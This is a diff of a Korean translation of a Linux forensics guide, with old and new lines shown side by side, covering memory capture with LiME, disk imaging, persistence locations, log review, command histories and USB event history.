sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
``` ```
LiME는 3가지 **포맷**을 지원합니다: LiME는 3가지 **형식**을 지원합니다:
* Raw (모든 세그먼트가 연결된 상태) * Raw (모든 세그먼트를 함께 연결)
* Padded (Raw와 동일하지만 오른쪽 비트에는 0이 들어 있음) * Padded (raw와 동일하지만 오른쪽 비트에 제로 추가)
* Lime (메타데이터가 포함된 권장되는 포맷) * Lime (메타데이터가 포함된 추천 형식)
LiME를 사용하여 덤프를 시스템에 저장하는 대신 **네트워크를 통해 전송**할 수도 있습니다. 예를 들어, `path=tcp:4444`와 같이 사용할 수 있습니다. LiME는 또한 **시스템에 저장하는 대신 네트워크를 통해 덤프를 전송**하는 데 사용할 수 있습니다: `path=tcp:4444`
### 디스크 이미징 ### 디스크 이미징
#### 시스템 종료 #### 시스템 종료
먼저, **시스템을 종료**해야 합니다. 이것은 언제나 선택사항은 아닙니다. 때로는 회사가 종료할 여유가 없는 프로덕션 서버일 수 있습니다.\ 우선, **시스템을 종료해야** 합니다. 이는 항상 가능한 옵션이 아니며, 때때로 시스템이 회사가 종료할 수 없는 프로덕션 서버일 수 있습니다.\
시스템을 종료하는 **2가지 방법**이 있습니다. **일반 종료**와 **"전원 플러그를 뽑는" 종료**입니다. 첫 번째 방법은 **프로세스가 보통대로 종료**되고 **파일 시스템이 동기화**되지만, **악성 코드**가 **증거를 파괴**할 수도 있습니다. "전원 플러그를 뽑는" 방법은 **일부 정보 손실**을 야기할 수 있지만 (메모리 이미지를 이미 취했기 때문에 정보가 많이 손실되지는 않을 것입니다) **악성 코드가 이에 대해 아무것도 할 수 없게** 합니다. 따라서 **악성 코드**가 있을 것으로 **의심**된다면 시스템에서 **`sync`** **명령어**를 실행하고 전원을 차단하세요. 시스템을 종료하는 **2가지 방법**이 있습니다: **정상 종료**와 **"플러그를 뽑는" 종료**. 첫 번째 방법은 **프로세스가 정상적으로 종료**되고 **파일 시스템**이 **동기화**되도록 허용하지만, **악성코드**가 **증거를 파괴**할 가능성도 있습니다. "플러그를 뽑는" 접근 방식은 **일부 정보 손실**을 초래할 수 있습니다(메모리 이미지를 이미 가져왔기 때문에 많은 정보가 손실되지 않을 것입니다) 그리고 **악성코드가 아무것도 할 기회**가 없습니다. 따라서 **악성코드**가 있을 것으로 **의심**되는 경우, 시스템에서 **`sync`** **명령**을 실행하고 플러그를 뽑으십시오.
#### 디스크 이미지 취하 #### 디스크 이미지 가져오
**컴퓨터를 사건과 관련된 어떤 것에 연결하기 전에**, 정보를 수정하지 않도록 **읽기 전용으로 마운트**되는지 확인해야 합니다. **사건과 관련된 어떤 것에 컴퓨터를 연결하기 전에** 반드시 **읽기 전용으로 마운트**될 것인지 확인하는 것이 중요합니다.
```bash ```bash
#Create a raw copy of the disk #Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512 dd if=<subject device> of=<image file> bs=512
@ -98,9 +99,9 @@ dd if=<subject device> of=<image file> bs=512
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file> dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
``` ```
### 디스크 이미지 사전 분석 ### Disk Image pre-analysis
추가 데이터가 없는 디스크 이미지를 이미징합니다. 더 이상 데이터가 없는 디스크 이미지를 이미징합니다.
```bash ```bash
#Find out if it's a disk image using "file" command #Find out if it's a disk image using "file" command
file disk.img file disk.img
@ -156,8 +157,8 @@ ThisisTheMasterSecret
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축** **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
@ -165,14 +166,14 @@ ThisisTheMasterSecret
### 수정된 시스템 파일 ### 수정된 시스템 파일
Linux는 시스템 구성 요소의 무결성을 보장하는 도구를 제공하여 잠재적으로 문제가 될 수 있는 파일을 식별하는 데 유용합니다. Linux는 시스템 구성 요소의 무결성을 보장하는 도구를 제공하여 잠재적으로 문제를 일으킬 수 있는 파일을 식별하는 데 중요합니다.
* **RedHat 기반 시스템**: 포괄적인 확인을 위해 `rpm -Va`를 사용합니다. * **RedHat 기반 시스템**: 포괄적인 검사를 위해 `rpm -Va`를 사용하세요.
* **Debian 기반 시스템**: 초기 확인을 위해 `dpkg --verify`를 사용한 후 (`apt-get install debsums`로 `debsums`를 설치한 후) `debsums | grep -v "OK$"`를 사용하여 문제를 식별합니다. * **Debian 기반 시스템**: 초기 검증을 위해 `dpkg --verify`를 사용한 후, `debsums | grep -v "OK$"` (먼저 `apt-get install debsums``debsums`를 설치한 후)로 문제를 식별하세요.
### 악성코드/루트킷 탐지기 ### 악성코드/루트킷 탐지기
악성 코드를 찾는 데 유용한 도구에 대해 알아보려면 다음 페이지를 읽어보세요: 악성코드를 찾는 데 유용할 수 있는 도구에 대해 알아보려면 다음 페이지를 읽어보세요:
{% content-ref url="malware-analysis.md" %} {% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md) [malware-analysis.md](malware-analysis.md)
@ -180,12 +181,12 @@ Linux는 시스템 구성 요소의 무결성을 보장하는 도구를 제공
## 설치된 프로그램 검색 ## 설치된 프로그램 검색
Debian 및 RedHat 시스템에서 설치된 프로그램을 효과적으로 검색하려면 시스템 로그 및 데이터베이스를 활용하고 일반 디렉토리에서 수동 확인을 고려하세요. Debian 및 RedHat 시스템에서 설치된 프로그램을 효과적으로 검색하려면 시스템 로그 및 데이터베이스를 활용하고 일반 디렉토리에서 수동 검사를 고려하세요.
* Debian의 경우 _**`/var/lib/dpkg/status`**_ 및 _**`/var/log/dpkg.log`**_를 검사하여 패키지 설치에 대한 세부 정보를 가져오고, 특정 정보를 필터링하기 위해 `grep`를 사용합니다. * Debian의 경우, 패키지 설치에 대한 세부 정보를 가져오기 위해 _**`/var/lib/dpkg/status`**_ 및 _**`/var/log/dpkg.log`**_를 검사하고, `grep`을 사용하여 특정 정보를 필터링하세요.
* RedHat 사용자는 `rpm -qa --root=/mntpath/var/lib/rpm`를 사용하여 RPM 데이터베이스를 쿼리하여 설치된 패키지를 나열할 수 있습니다. * RedHat 사용자는 `rpm -qa --root=/mntpath/var/lib/rpm` RPM 데이터베이스를 쿼리하여 설치된 패키지를 나열할 수 있습니다.
이 패키지 관리자 외에 수동으로 또는 이 패키지 관리자 외에 설치된 소프트웨어를 찾으려면 _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, 및 _**`/sbin`**_과 같은 디렉토리를 탐색합니다. 디렉토리 목록을 시스템별 명령어와 결합하여 알려진 패키지와 관련이 없는 실행 파일을 식별하여 모든 설치된 프로그램을 검색하는 데 도움이 됩니다. 패키지 관리자 외부에서 수동으로 설치된 소프트웨어를 발견하려면 _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, 및 _**`/sbin`**_과 같은 디렉토리를 탐색하세요. 디렉토리 목록과 시스템 특정 명령을 결합하여 알려진 패키지와 관련이 없는 실행 파일을 식별하여 모든 설치된 프로그램을 검색하세요.
```bash ```bash
# Debian package and log details # Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:" cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -204,14 +205,14 @@ find / -type f -executable | grep <something>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## 삭제된 실행 중인 이진 파일 복구 ## 삭제된 실행 중인 바이너리 복구
/tmp/exec에서 실행되었다가 삭제된 프로세스를 상상해보세요. 추출하는 것이 가능합니다. /tmp/exec에서 실행된 후 삭제된 프로세스를 상상해 보세요. 이를 추출하는 것이 가능합니다.
```bash ```bash
cd /proc/3746/ #PID with the exec file deleted cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000 head -1 maps #Get address of the file. It was 08048000-08049000
@ -233,94 +234,96 @@ cat /var/spool/cron/crontabs/* \
#MacOS #MacOS
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
``` ```
### 서비스 ### Services
악성 소프트웨어가 서비스로 설치될 수 있는 경로: 악성코드가 서비스로 설치될 수 있는 경로:
- **/etc/inittab**: rc.sysinit과 같은 초기화 스크립트를 호출하여 시작 스크립트로 이어짐. * **/etc/inittab**: rc.sysinit과 같은 초기화 스크립트를 호출하여 추가적인 시작 스크립트로 안내합니다.
- **/etc/rc.d/** 및 **/etc/rc.boot/**: 서비스 시작을 위한 스크립트를 포함하며, 후자는 이전 Linux 버전에서 발견됨. * **/etc/rc.d/** 및 **/etc/rc.boot/**: 서비스 시작을 위한 스크립트를 포함하며, 후자는 구버전 리눅스에서 발견됩니다.
- **/etc/init.d/**: Debian과 같은 특정 Linux 버전에서 시작 스크립트를 저장하는 데 사용됨. * **/etc/init.d/**: Debian과 같은 특정 리눅스 버전에서 시작 스크립트를 저장하는 데 사용됩니다.
- 서비스는 또한 Linux 변형에 따라 **/etc/inetd.conf** 또는 **/etc/xinetd/**를 통해 활성화될 수 있음. * 서비스는 리눅스 변형에 따라 **/etc/inetd.conf** 또는 **/etc/xinetd/**를 통해 활성화될 수도 있습니다.
- **/etc/systemd/system**: 시스템 및 서비스 관리자 스크립트를위한 디렉토리. * **/etc/systemd/system**: 시스템 및 서비스 관리자 스크립트를 위한 디렉토리입니다.
- **/etc/systemd/system/multi-user.target.wants/**: 다중 사용자 런레벨에서 시작해야 하는 서비스에 대한 링크를 포함. * **/etc/systemd/system/multi-user.target.wants/**: 다중 사용자 실행 수준에서 시작해야 하는 서비스에 대한 링크를 포함합니다.
- **/usr/local/etc/rc.d/**: 사용자 지정 또는 제3자 서비스용. * **/usr/local/etc/rc.d/**: 사용자 정의 또는 타사 서비스를 위한 것입니다.
- **\~/.config/autostart/**: 사용자별 자동 시작 응용 프로그램에 대한 디렉토리로, 사용자를 대상으로 한 악성 소프트웨어의 은닉 장소가 될 수 있음. * **\~/.config/autostart/**: 사용자 특정 자동 시작 애플리케이션을 위한 것으로, 사용자 타겟 악성코드의 은신처가 될 수 있습니다.
- **/lib/systemd/system/**: 설치된 패키지에서 제공되는 시스템 전역 기본 유닛 파일. * **/lib/systemd/system/**: 설치된 패키지에서 제공하는 시스템 전체 기본 유닛 파일입니다.
### 커널 모듈 ### Kernel Modules
악성 소프트웨어에 의해 루트킷 구성 요소로 자주 사용되는 Linux 커널 모듈은 시스템 부팅 시 로드됩니다. 이러한 모듈에 대한 중요한 디렉토리 및 파일은 다음과 같습니다: 리눅스 커널 모듈은 종종 악성코드에 의해 루트킷 구성 요소로 사용되며, 시스템 부팅 시 로드됩니다. 이러한 모듈에 중요한 디렉토리 및 파일은 다음과 같습니다:
- **/lib/modules/$(uname -r)**: 실행 중인 커널 버전의 모듈을 보관. * **/lib/modules/$(uname -r)**: 실행 중인 커널 버전의 모듈을 보유합니다.
- **/etc/modprobe.d**: 모듈 로딩을 제어하는 구성 파일을 포함. * **/etc/modprobe.d**: 모듈 로딩을 제어하는 구성 파일을 포함합니다.
- **/etc/modprobe** 및 **/etc/modprobe.conf**: 전역 모듈 설정을위한 파일. * **/etc/modprobe** 및 **/etc/modprobe.conf**: 전역 모듈 설정을 위한 파일입니다.
### 기타 자동 시작 위치 ### Other Autostart Locations
Linux는 사용자 로그인시 프로그램을 자동으로 실행하기 위해 다양한 파일을 사용하며, 이는 잠재적으로 악성 소프트웨어를 숨길 수 있습니다: 리눅스는 사용자 로그인 시 자동으로 프로그램을 실행하기 위해 다양한 파일을 사용하며, 이는 악성코드를 숨길 수 있습니다:
- **/etc/profile.d/**\*, **/etc/profile**, 및 **/etc/bash.bashrc**: 모든 사용자 로그인에 대해 실행됨. * **/etc/profile.d/**\*, **/etc/profile**, 및 **/etc/bash.bashrc**: 모든 사용자 로그인 시 실행됩니다.
- **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, 및 **\~/.config/autostart**: 해당 사용자 로그인시 실행되는 사용자별 파일. * **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, 및 **\~/.config/autostart**: 사용자 특정 파일로, 로그인 시 실행됩니다.
- **/etc/rc.local**: 모든 시스템 서비스가 시작된 후 실행되며, 다중 사용자 환경으로의 전환을 표시. * **/etc/rc.local**: 모든 시스템 서비스가 시작된 후 실행되며, 다중 사용자 환경으로의 전환이 끝났음을 나타냅니다.
## 로그 검사 ## Examine Logs
Linux 시스템은 다양한 로그 파일을 통해 사용자 활동 및 시스템 이벤트를 추적합니다. 이러한 로그는 무단 액세스, 악성 소프트웨어 감염 및 기타 보안 사건을 식별하는 데 중요합니다. 주요 로그 파일은 다음과 같습니다: 리눅스 시스템은 다양한 로그 파일을 통해 사용자 활동 및 시스템 이벤트를 추적합니다. 이러한 로그는 무단 접근, 악성코드 감염 및 기타 보안 사건을 식별하는 데 중요합니다. 주요 로그 파일은 다음과 같습니다:
- **/var/log/syslog** (Debian) 또는 **/var/log/messages** (RedHat): 시스템 전체 메시지 및 활동을 캡처. * **/var/log/syslog** (Debian) 또는 **/var/log/messages** (RedHat): 시스템 전체 메시지 및 활동을 캡처합니다.
- **/var/log/auth.log** (Debian) 또는 **/var/log/secure** (RedHat): 인증 시도, 성공 및 실패한 로그인 기록. * **/var/log/auth.log** (Debian) 또는 **/var/log/secure** (RedHat): 인증 시도, 성공 및 실패한 로그인 기록을 남깁니다.
- `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log`를 사용하여 관련 인증 이벤트를 필터링. * `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log`를 사용하여 관련 인증 이벤트를 필터링합니다.
- **/var/log/boot.log**: 시스템 시작 메시지를 포함. * **/var/log/boot.log**: 시스템 시작 메시지를 포함합니다.
- **/var/log/maillog** 또는 **/var/log/mail.log**: 이메일 서버 활동을 기록하며, 이메일 관련 서비스를 추적하는 데 유용. * **/var/log/maillog** 또는 **/var/log/mail.log**: 이메일 서버 활동을 기록하며, 이메일 관련 서비스를 추적하는 데 유용합니다.
- **/var/log/kern.log**: 오류 및 경고를 포함한 커널 메시지를 저장. * **/var/log/kern.log**: 오류 및 경고를 포함한 커널 메시지를 저장합니다.
- **/var/log/dmesg**: 장치 드라이버 메시지를 보유. * **/var/log/dmesg**: 장치 드라이버 메시지를 보유합니다.
- **/var/log/faillog**: 실패한 로그인 시도를 기록하여 보안 침해 조사에 도움. * **/var/log/faillog**: 실패한 로그인 시도를 기록하여 보안 침해 조사에 도움을 줍니다.
- **/var/log/cron**: cron 작업 실행을 로그. * **/var/log/cron**: 크론 작업 실행을 기록합니다.
- **/var/log/daemon.log**: 백그라운드 서비스 활동을 추적. * **/var/log/daemon.log**: 백그라운드 서비스 활동을 추적합니다.
- **/var/log/btmp**: 실패한 로그인 시도 문서화. * **/var/log/btmp**: 실패한 로그인 시도 문서화합니다.
- **/var/log/httpd/**: Apache HTTPD 오류 및 액세스 로그를 포함. * **/var/log/httpd/**: Apache HTTPD 오류 및 접근 로그를 포함합니다.
- **/var/log/mysqld.log** 또는 **/var/log/mysql.log**: MySQL 데이터베이스 활동을 기록. * **/var/log/mysqld.log** 또는 **/var/log/mysql.log**: MySQL 데이터베이스 활동을 기록합니다.
- **/var/log/xferlog**: FTP 파일 전송을 기록. * **/var/log/xferlog**: FTP 파일 전송을 기록합니다.
- **/var/log/**: 여기서 예기치 않은 로그를 항상 확인. * **/var/log/**: 여기에서 예상치 못한 로그를 항상 확인하십시오.
{% hint style="info" %} {% hint style="info" %}
Linux 시스템 로그 및 감사 서브시스템은 침입 또는 악성 소프트웨어 사건에서 비활성화 또는 삭제될 수 있습니다. Linux 시스템의 로그는 일반적으로 악의적 활동에 대한 가장 유용한 정보 중 일부를 포함하므로 침입자는 이를 일반적으로 삭제합니다. 따라서 사용 가능한 로그 파일을 검사할 때 삭제 또는 조작의 표시일 수있는 간격 또는 순서가 잘못된 항목을 찾는 것이 중요합니다. 리눅스 시스템 로그 및 감사 하위 시스템은 침입 또는 악성코드 사건에서 비활성화되거나 삭제될 수 있습니다. 리눅스 시스템의 로그는 일반적으로 악성 활동에 대한 가장 유용한 정보를 포함하므로, 침입자는 이를 정기적으로 삭제합니다. 따라서 사용 가능한 로그 파일을 검사할 때는 삭제 또는 변조의 징후가 될 수 있는 간격이나 순서가 어긋난 항목을 찾는 것이 중요합니다.
{% endhint %} {% endhint %}
**Linux는 각 사용자의 명령 히스토리를 유지합니다**, 다음 위치에 저장됩니다: **리눅스는 각 사용자의 명령 기록을 유지합니다**, 저장 위치는 다음과 같습니다:
- \~/.bash\_history * \~/.bash\_history
- \~/.zsh\_history * \~/.zsh\_history
- \~/.zsh\_sessions/\* * \~/.zsh\_sessions/\*
- \~/.python\_history * \~/.python\_history
- \~/.\*\_history * \~/.\*\_history
또한, `last -Faiwx` 명령을 사용하여 사용자 로그인 목록을 제공합니다. 알 수없거나 예기치 않은 로그인을 확인하십시오. 또한, `last -Faiwx` 명령은 사용자 로그인 목록을 제공합니다. 알려지지 않거나 예상치 못한 로그인을 확인하십시오.
추가 권한을 부여할 수 있는 파일을 확인하십시오: 추가 권한을 부여할 수 있는 파일을 확인하십시오:
- 부여되었을 수있는 예기치 않은 사용자 권한을 확인하려면 `/etc/sudoers`를 검토하십시오. * `/etc/sudoers`에서 예상치 못한 사용자 권한이 부여되었는지 검토합니다.
- 부여되었을 수있는 예기치 않은 사용자 권한을 확인하려면 `/etc/sudoers.d/`를 검토하십시오. * `/etc/sudoers.d/`에서 예상치 못한 사용자 권한이 부여되었는지 검토합니다.
- 비정상적인 그룹 멤버십 또는 권한을 식별하려면 `/etc/groups`를 검토하십시오. * `/etc/groups`를 검사하여 비정상적인 그룹 구성원 또는 권한을 식별합니다.
- 비정상적인 그룹 멤버십 또는 권한을 식별하려면 `/etc/passwd`를 검토하십시오. * `/etc/passwd`를 검사하여 비정상적인 그룹 구성원 또는 권한을 식별합니다.
일부 애플리케이션은 자체 로그를 생성합니다: 일부 은 자체 로그를 생성합니다:
- **SSH**: 무단 원격 연결을 위해 _\~/.ssh/authorized\_keys_ 및 _\~/.ssh/known\_hosts_를 검토하십시오. * **SSH**: 무단 원격 연결을 위해 _\~/.ssh/authorized\_keys_ 및 _\~/.ssh/known\_hosts_를 검사합니다.
- **Gnome 데스크톱**: Gnome 애플리케이션을 통해 최근 액세스된 파일을 확인하려면 _\~/.recently-used.xbel_을 살펴보십시오. * **Gnome Desktop**: Gnome 애플리케이션을 통해 최근에 접근한 파일을 위해 _\~/.recently-used.xbel_를 확인합니다.
- **Firefox/Chrome**: 의심스러운 활동을 위해 _\~/.mozilla/firefox_ 또는 _\~/.config/google-chrome_에서 브라우저 기록 및 다운로드를 확인하십시오. * **Firefox/Chrome**: 의심스러운 활동을 위해 _\~/.mozilla/firefox_ 또는 _\~/.config/google-chrome_에서 브라우저 기록 및 다운로드를 확인합니다.
- **VIM**: 액세스된 파일 경로 및 검색 기록과 같은 사용 정보를 위해 _\~/.viminfo_를 검토하십시오. * **VIM**: 접근한 파일 경로 및 검색 기록과 같은 사용 세부정보를 위해 _\~/.viminfo_를 검토합니다.
- **Open Office**: 침해된 파일을 나타낼 수있는 최근 문서 액세스를 확인하십시오. * **Open Office**: 손상된 파일을 나타낼 수 있는 최근 문서 접근을 확인합니다.
- **FTP/SFTP**: 무단 파일 전송을 위해 _\~/.ftp\_history_ 또는 _\~/.sftp\_history_의 로그를 검토하십시오. * **FTP/SFTP**: 무단 파일 전송이 있을 수 있는 _\~/.ftp\_history_ 또는 _\~/.sftp\_history_의 로그를 검토합니다.
- **MySQL**: 실행된 MySQL 쿼리를 조사하여 무단 데이터베이스 활동을 나타낼 수있는 _\~/.mysql\_history_를 조사하십시오. * **MySQL**: 무단 데이터베이스 활동을 드러낼 수 있는 실행된 MySQL 쿼리를 위해 _\~/.mysql\_history_를 조사합니다.
- **Less**: 보고된 파일 및 실행된 명령을 포함한 사용 이력을 분석하기 위해 _\~/.lesshst_를 검토하십시오. * **Less**: 본 파일 및 실행된 명령을 포함한 사용 기록을 위해 _\~/.lesshst_를 분석합니다.
- **Git**: 저장소 변경 사항을 위해 _\~/.gitconfig_ 및 프로젝트 _.git/logs_를 검토하십시오. * **Git**: 리포지토리에 대한 변경 사항을 위해 _\~/.gitconfig_ 및 프로젝트 _.git/logs_를 검사합니다.
### USB 로그 ### USB Logs
[**usbrip**](https://github.com/snovvcrash/usbrip)는 순수 Python 3로 작성된 작은 소프트웨어로, Linux 로그 파일(`/var/log/syslog*` 또는 `/var/log/messages*`에 따라 다름)을 구문 분석하여 USB 이벤트 이력 테이블을 작성합니다. [**usbrip**](https://github.com/snovvcrash/usbrip)는 리눅스 로그 파일(`/var/log/syslog*` 또는 `/var/log/messages*`, 배포판에 따라 다름)을 파싱하여 USB 이벤트 이력 테이블을 구성하는 순수 Python 3로 작성된 작은 소프트웨어입니다.
**사용된 모든 USB를 파악하는 것이 중요**하며, "위반 이벤트"를 찾기 위해 허가된 USB 목록이 있는 경우 더 유용할 수 있습니다. 모든 USB 사용 내역을 아는 것은 흥미롭고, "위반 사건"(목록에 없는 USB 사용)을 찾기 위해 승인된 USB 목록이 있다면 더욱 유용할 것입니다.
### Installation
```bash ```bash
pip3 install usbrip pip3 install usbrip
usbrip ids download #Download USB ID database usbrip ids download #Download USB ID database
@ -333,38 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
``` ```
더 많은 예제와 정보는 깃허브 내부에 있습니다: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
오늘 바로 액세스하세요: Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## 사용자 계정 및 로그 활동 검토 ## 사용자 계정 및 로그 활동 검토
알려지지 않은 이벤트와 관련하여 생성되거나 사용된 이상한 이름 또는 계정을 찾기 위해 _**/etc/passwd**_, _**/etc/shadow**_ 및 **보안 로그**를 조사하세요. 또한 가능한 sudo 브루트 포스 공격을 확인하세요.\ _**/etc/passwd**_, _**/etc/shadow**_ 및 **보안 로그**에서 비정상적인 이름이나 계정을 조사하고, 알려진 무단 이벤트와 가까운 시기에 생성되거나 사용된 계정을 확인하십시오. 또한 가능한 sudo 무차별 대입 공격을 확인하십시오.\
또한, 사용자에게 부여된 예상치 못한 권한을 확인하기 위해 _**/etc/sudoers**_ 및 _**/etc/groups**_와 같은 파일을 확인하세요.\ 또한, _**/etc/sudoers**_ 및 _**/etc/groups**_와 같은 파일에서 사용자에게 부여된 예상치 못한 권한을 확인하십시오.\
마지막으로, **비밀번호가 없는 계정**이나 **쉽게 추측할 수 있는** 비밀번호를 가진 계정을 찾으세요. 마지막으로, **비밀번호가 없는** 계정이나 **쉽게 추측할 수 있는** 비밀번호를 가진 계정을 찾아보십시오.
## 파일 시스템 ## 파일 시스템
### 악성 코드 조사를 위한 파일 시스템 구조 분석 ### 악성 코드 조사에서 파일 시스템 구조 분석
악성 코드 사건을 조사할 때 파일 시스템의 구조는 이벤트 시퀀스와 악성 코드의 내용을 드러내는 중요한 정보원입니다. 그러나 악성 코드 작성자들은 파일 타임스탬프를 수정하거나 데이터 저장을 위해 파일 시스템을 피하는 등의 기술을 개발하고 있습니다. 악성 코드 사건을 조사할 때, 파일 시스템의 구조는 사건의 순서와 악성 코드의 내용을 드러내는 중요한 정보 출처입니다. 그러나 악성 코드 작성자들은 파일 타임스탬프를 수정하거나 데이터 저장을 위해 파일 시스템을 피하는 등의 분석을 방해하는 기술을 개발하고 있습니다.
이러한 안티 포렌식 방법에 대항하기 위해 다음이 중요합니다: 이러한 반 포렌식 방법에 대응하기 위해서는 다음이 필수적입니다:
* **Autopsy**와 같은 도구를 사용하여 이벤트 타임라인을 시각화하거나 **Sleuth Kit**의 `mactime`을 사용하여 자세한 타임라인 데이터를 분석하여 **철저한 타임라인 분석**을 수행합니다. * **Autopsy**와 같은 도구를 사용하여 사건 타임라인을 시각화하거나 **Sleuth Kit의** `mactime`을 사용하여 상세한 타임라인 데이터를 통해 철저한 타임라인 분석을 수행하십시오.
* 시스템의 $PATH에 있는 **예상치 못한 스크립트**를 조사합니다. 이는 공격자가 사용하는 쉘 또는 PHP 스크립트를 포함할 수 있습니다. * 공격자가 사용할 수 있는 셸 또는 PHP 스크립트를 포함할 수 있는 시스템의 $PATH에서 예상치 못한 스크립트를 조사하십시오.
* **/dev**에서 **비정상적인 파일**을 조사합니다. 이는 일반적으로 특수 파일을 포함하지만 악성 코드 관련 파일을 포함할 수 있습니다. * 전통적으로 특수 파일을 포함하는 `/dev`에서 비정상적인 파일을 검사하십시오. 그러나 악성 코드 관련 파일이 있을 수 있습니다.
* ".. " (점 점 공백) 또는 "..^G" (점 점 컨트롤-G)와 같은 이름의 **숨겨진 파일 또는 디렉토리**를 찾습니다. 이는 악의적인 콘텐츠를 숨길 수 있습니다. * ".. " (점 점 공백) 또는 "..^G" (점 점 제어-G)와 같은 이름을 가진 숨겨진 파일이나 디렉토리를 검색하여 악성 콘텐츠를 숨길 수 있습니다.
* `find / -user root -perm -04000 -print` 명령을 사용하여 **setuid root 파일**을 식별합니다. 이는 공격자가 악용할 수 있는 권한이 상승된 파일을 찾습니다. * 다음 명령어를 사용하여 setuid root 파일을 식별하십시오: `find / -user root -perm -04000 -print` 이 명령은 공격자가 악용할 수 있는 권한이 상승된 파일을 찾습니다.
* inode 테이블에서 **삭제 타임스탬프**를 검토하여 대량 파일 삭제를 확인하고 루트킷 또는 트로이 목마의 존재를 나타낼 수 있습니다. * 루트킷이나 트로이 목마의 존재를 나타낼 수 있는 대량 파일 삭제를 감지하기 위해 inode 테이블에서 삭제 타임스탬프를 검토하십시오.
* 하나를 식별한 후 **인접한 악성 파일의 연속된 inode**를 조사합니다. 이들은 함께 배치될 수 있습니다. * 하나의 악성 파일을 식별한 후 인접한 inode를 검사하여 근처에 악성 파일이 있을 수 있습니다.
* **최근 수정된 파일**을 확인하기 위해 일반 이진 디렉토리 (_/bin_, _/sbin_)를 확인합니다. 이는 악성 코드에 의해 변경될 수 있습니다. * 최근에 수정된 파일이 있을 수 있는 일반 바이너리 디렉토리 (_/bin_, _/sbin_)를 확인하십시오.
````bash ````bash
# List recent files in a directory: # List recent files in a directory:
ls -laR --sort=time /bin``` ls -laR --sort=time /bin```
@ -373,63 +376,63 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n``` ls -lai /bin | sort -n```
```` ````
